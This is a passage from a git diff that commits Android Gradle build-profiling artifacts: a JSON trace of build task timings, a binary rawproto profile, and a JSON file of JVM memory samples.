resources","args":{"span_id":"55","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 40\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994527000,"dur":11000},{"pid":1,"tid":0,"id":56,"name":"task: compatible screens manifest","args":{"span_id":"56","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 9\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994539000,"dur":100},{"pid":1,"tid":0,"id":57,"name":"task: merge manifests","args":{"span_id":"57","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 39\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994540000,"dur":1000},{"pid":1,"tid":0,"id":58,"name":"task: splits discovery","args":{"span_id":"58","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 87\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994541000,"dur":1000},{"pid":1,"tid":0,"id":59,"name":"task: process android resources","args":{"span_id":"59","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 51\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994542000,"dur":5000},{"pid":1,"tid":0,"id":60,"name":"task: unknown task type","args":{"span_id":"60","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994547000,"dur":100},{"pid":1,"tid":0,"id":61,"name":"task: java pre compile","args":{"span_id":"61","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 76\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994548000,"dur":9000},{"pid":1,"tid":0,"id":62,"name":"task: android java compile","args":{"span_id":"62","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 3\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994557000,"dur":32000},{"pid":1,"tid":0,"id":63,"name":"task: ndk compile","args":{"span_id":"63","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 43\ndid_work: false\nskipped: true\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994590000,"dur":100},{"pid":1,"tid":0,"id":64,"name":"task: unknown task type","args":{"span_id":"64","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994590000,"dur":100},{"pid":1,"tid":0,"id":65,"name":"task: merge source set folders","args":{"span_id":"65","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994591000,"dur":100},{"pid":1,"tid":0,"id":66,"name":"task: shader compile","args":{"span_id":"66","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 55\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994591000,"dur":1000},{"pid":1,"tid":0,"id":67,"name":"task: unknown task type","args":{"span_id":"67","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994592000,"dur":100},{"pid":1,"tid":0,"id":68,"name":"task: merge source set folders","args":{"span_id":"68","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994592000,"dur":3000},{"pid":1,"tid":10,"id":70,"name":"transform prep: dex archive builder","args":{"span_id":"70","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 29\nis_incremental: true\n"},"ph":"X","ts":1514228994614000,"dur":2000},{"pid":1,"tid":10,"id":71,"name":"transform: dex archive builder","args":{"span_id":"71","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 29\nis_incremental: true\n"},"ph":"X","ts":1514228994616000,"dur":19000},{"pid":1,"tid":0,"id":69,"name":"task: transform","args":{"span_id":"69","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994595000,"dur":42000},{"pid":1,"tid":10,"id":73,"name":"transform prep: external libs merger","args":{"span_id":"73","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 34\nis_incremental: true\n"},"ph":"X","ts":1514228994640000,"dur":1000},{"pid":1,"tid":10,"id":74,"name":"transform: external libs merger","args":{"span_id":"74","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 34\nis_incremental: true\n"},"ph":"X","ts":1514228994641000,"dur":1000},{"pid":1,"tid":0,"id":72,"name":"task: transform","args":{"span_id":"72","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994638000,"dur":4000},{"pid":1,"tid":10,"id":76,"name":"transform prep: dex merger","args":{"span_id":"76","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 30\nis_incremental: true\n"},"ph":"X","ts":1514228994644000,"dur":100},{"pid":1,"tid":10,"id":77,"name":"transform: dex merger","args":{"span_id":"77","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 30\nis_incremental: true\n"},"ph":"X","ts":1514228994644000,"dur":149000},{"pid":1,"tid":0,"id":75,"name":"task: transform","args":{"span_id":"75","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994642000,"dur":163000},{"pid":1,"tid":0,"id":78,"name":"task: merge source set folders","args":{"span_id":"78","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994805000,"dur":1000},{"pid":1,"tid":0,"id":79,"name":"task: transform","args":{"span_id":"79","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994806000,"dur":3000},{"pid":1,"tid":0,"id":80,"name":"task: unknown task type","args":{"span_id":"80","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994810000,"dur":100},{"pid":1,"tid":0,"id":81,"name":"task: transform","args":{"span_id":"81","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994810000,"dur":3000},{"pid":1,"tid":0,"id":82,"name":"task: validate signing","args":{"span_id":"82","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 67\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994814000,"dur":100},{"pid":1,"tid":0,"id":83,"name":"task: package application","args":{"span_id":"83","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 45\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228994814000,"dur":192000},{"pid":1,"tid":0,"id":84,"name":"task: unknown task type","args":{"span_id":"84","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228995006000,"dur":100},{"pid":1,"tid":9,"id":85,"name":"base plugin build finished","args":{"span_id":"85","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228995013000,"dur":100}] \ No newline at end of file diff --git a/build/android-profile/profile-2017-12-25-12-09-55-014.rawproto b/build/android-profile/profile-2017-12-25-12-09-55-014.rawproto new file mode 100644 index 0000000000000000000000000000000000000000..64458edc7f86e1923e50331281a6759bddc17b30 GIT binary patch literal 4875 zcmchaZBSHI7{~9~<>j!LUBJ~Nwsf=1E6TQe7g(?tS?raxNNTE?W@=g1muje?2_5@_ zIF;3CM5bsaB#M}2nAxCH#!PB9O%7J3>8MO!A{9g_lxDQfJuiD7P-eI>)3@E{chCR) z&-tId`JTDSmIB*Y~tP$H=OPJ|7Lg z6fJTYIbQR7sn1_rRn_pV^N9m-&nWYiiYGBjjSqNzUOzz^%1khF>1Sj5c#Kq}DZ1iQ z@|02sR-bj?af?tDLKHbv<(jC-6)rEUcws?VmXSM0Sv-SW+3?e)Wz#0+;*OU3SJci` z%R{8TQuAb{xRQ%Yw30};GFm<_swzauOm&T-rP<+%=Smhvqc57Z#RcS>MkWx%?U%dW zKx#|R))3iNsZANa!eObkt=jb4;^birygov-EY@J_dtc7KB{oU)+&0XLff%V-a%@^`v*hh z{Qs`^TGySk>tV1$w{3++>7ixqO1g^H?|bZe_(3YP?(JBI z)T3{&C^XNcG5j=tlnU*=t3RM`xvttma>16uUz@~5g{0TkD*hg^!WF4-V8f23)I+0f4Qrr4zcZtdXn6AH%_N@F~GsIAY~3bB|R9C#pLF$s_X0gFk18zEpZ z37|p1ViMpc2v|%4OtgTANr0Ov_)OYmF$r)B1S}>2CPBbr65v({SWE&;hJeK+fNlZA zV-jEr1v{iG7Lx#(5U`jSaN`Ly4zcY#4pE;<>q3dw8hP+- zWG^3;!Z@P*Dad_UP=%+)TJCI+s{vbKU{U^uf*Wvg)!W(s4dlGVE-P6 z{C2{da4kMIe*p432yd~6%I{9{C!aqlHhvZye;48Hv8FL@uHUI5!fxJX{xb+~UBUXM zvhnoNZt{YGT<%|NJiUsuW(ka+0_QK3+}fWYjV1f_+Ih_pWmUk zk2B)1M@8l_Ep}C-bbKFaD{aMldfDERFi>#e*A*DG#vdWnt4^o8Q08CqZd=$V7FvFpZeiFb3P~l*wp9Sy(Jmlb@D*`kEJh5gh3lIQ!&OxF-1Zb*( zhkh5J8Q?Xa5u#rNAOI&HvxnF~zX}ipILkq%-vn?&9Y1*;lZe(?k3E1}0M79lA(q>C z9U-NaT<5vOdy+Y{iNJa?VNDGX@5zL<0JGLotS1vx5m-+qtP_FtWI}rl5bw!^^#C{c z9*Fm3!UljjYjf6<2^&RVJ(;jc1lE%Yn`?l0PbN@+n|u$M_hdo`z-{YPtS1w~0Q1(V zSWgTBxE1QS#-WbYVdkBXn-lCTw^!Q;;4aAT@bP|@J9tYj#c6$(6Eelt_ZPqsfS1Mm(wOg~4nr mozaY3B9+Rd^RdBn+R!yUk;rCstyoN?wL(6vC(_wMG4&f+#EJ3% literal 0 HcmV?d00001 diff --git a/build/android-profile/profile-2018-03-02-11-26-03-779.json b/build/android-profile/profile-2018-03-02-11-26-03-779.json new file mode 100644 index 0000000..226bd68 --- /dev/null +++ b/build/android-profile/profile-2018-03-02-11-26-03-779.json @@ -0,0 +1 @@ +[{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162532000,"args":{"JVM stats":"heap_memory_usage: 208542824\nnon_heap_memory_usage: 97300104\nloaded_class_count: 12660\nthread_count: 29\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162753000,"args":{"JVM stats":"heap_memory_usage: 234514680\nnon_heap_memory_usage: 99158512\nloaded_class_count: 12813\nthread_count: 40\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162858000,"args":{"JVM stats":"heap_memory_usage: 244402816\nnon_heap_memory_usage: 100000712\nloaded_class_count: 12892\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162872000,"args":{"JVM stats":"heap_memory_usage: 245301592\nnon_heap_memory_usage: 100110600\nloaded_class_count: 12898\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162882000,"args":{"JVM stats":"heap_memory_usage: 245301592\nnon_heap_memory_usage: 100169168\nloaded_class_count: 12904\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162886000,"args":{"JVM stats":"heap_memory_usage: 246200400\nnon_heap_memory_usage: 100201512\nloaded_class_count: 12905\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162889000,"args":{"JVM stats":"heap_memory_usage: 246200400\nnon_heap_memory_usage: 100210624\nloaded_class_count: 12906\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162891000,"args":{"JVM stats":"heap_memory_usage: 246200400\nnon_heap_memory_usage: 100226176\nloaded_class_count: 12906\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162893000,"args":{"JVM stats":"heap_memory_usage: 246200400\nnon_heap_memory_usage: 100232392\nloaded_class_count: 12906\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162894000,"args":{"JVM stats":"heap_memory_usage: 246200400\nnon_heap_memory_usage: 100232424\nloaded_class_count: 12906\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162981000,"args":{"JVM stats":"heap_memory_usage: 261727224\nnon_heap_memory_usage: 100575392\nloaded_class_count: 12909\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015162987000,"args":{"JVM stats":"heap_memory_usage: 261727224\nnon_heap_memory_usage: 100633880\nloaded_class_count: 12914\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163115000,"args":{"JVM stats":"heap_memory_usage: 271626320\nnon_heap_memory_usage: 102063256\nloaded_class_count: 13108\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163135000,"args":{"JVM stats":"heap_memory_usage: 271626320\nnon_heap_memory_usage: 102048312\nloaded_class_count: 13109\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163639000,"args":{"JVM stats":"heap_memory_usage: 288641352\nnon_heap_memory_usage: 102727512\nloaded_class_count: 13331\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163640000,"args":{"JVM stats":"heap_memory_usage: 288641352\nnon_heap_memory_usage: 102730208\nloaded_class_count: 13331\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163672000,"args":{"JVM stats":"heap_memory_usage: 290443016\nnon_heap_memory_usage: 102284128\nloaded_class_count: 13334\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1520015163681000,"args":{"JVM stats":"heap_memory_usage: 290443016\nnon_heap_memory_usage: 102292992\nloaded_class_count: 13334\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 